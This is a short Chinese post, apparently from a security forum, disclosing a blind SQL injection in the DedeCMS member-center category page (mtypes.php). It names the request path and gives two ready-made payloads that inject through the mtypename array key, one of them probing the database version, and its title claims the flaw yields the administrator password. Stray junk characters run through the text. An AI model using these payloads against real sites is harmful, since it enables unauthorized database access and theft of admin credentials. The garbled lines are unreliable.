DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
& Y7 p8 E0 ?6 h! G, Q! ]

3 l  L+ \* J& F) L* m" U' g发生在数组key里的注射漏洞,有点意思.
* F8 y7 E6 a2 Q7 X$ v& H% U5 G
' g7 m) u, `0 O这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
( I8 U' K) J0 {
. m( F3 m/ {1 [0 \5 H2 Qhttp://www.xxx.com /dede/member/mtypes.php?dopost=save
9 h( A0 K& m( k5 y% U# T" r$ [% J
$ D- @) g) a# Z# \5 S- p2 y/ vexploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
' |! q8 I3 \3 X& hmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
/ B7 C7 k" x& G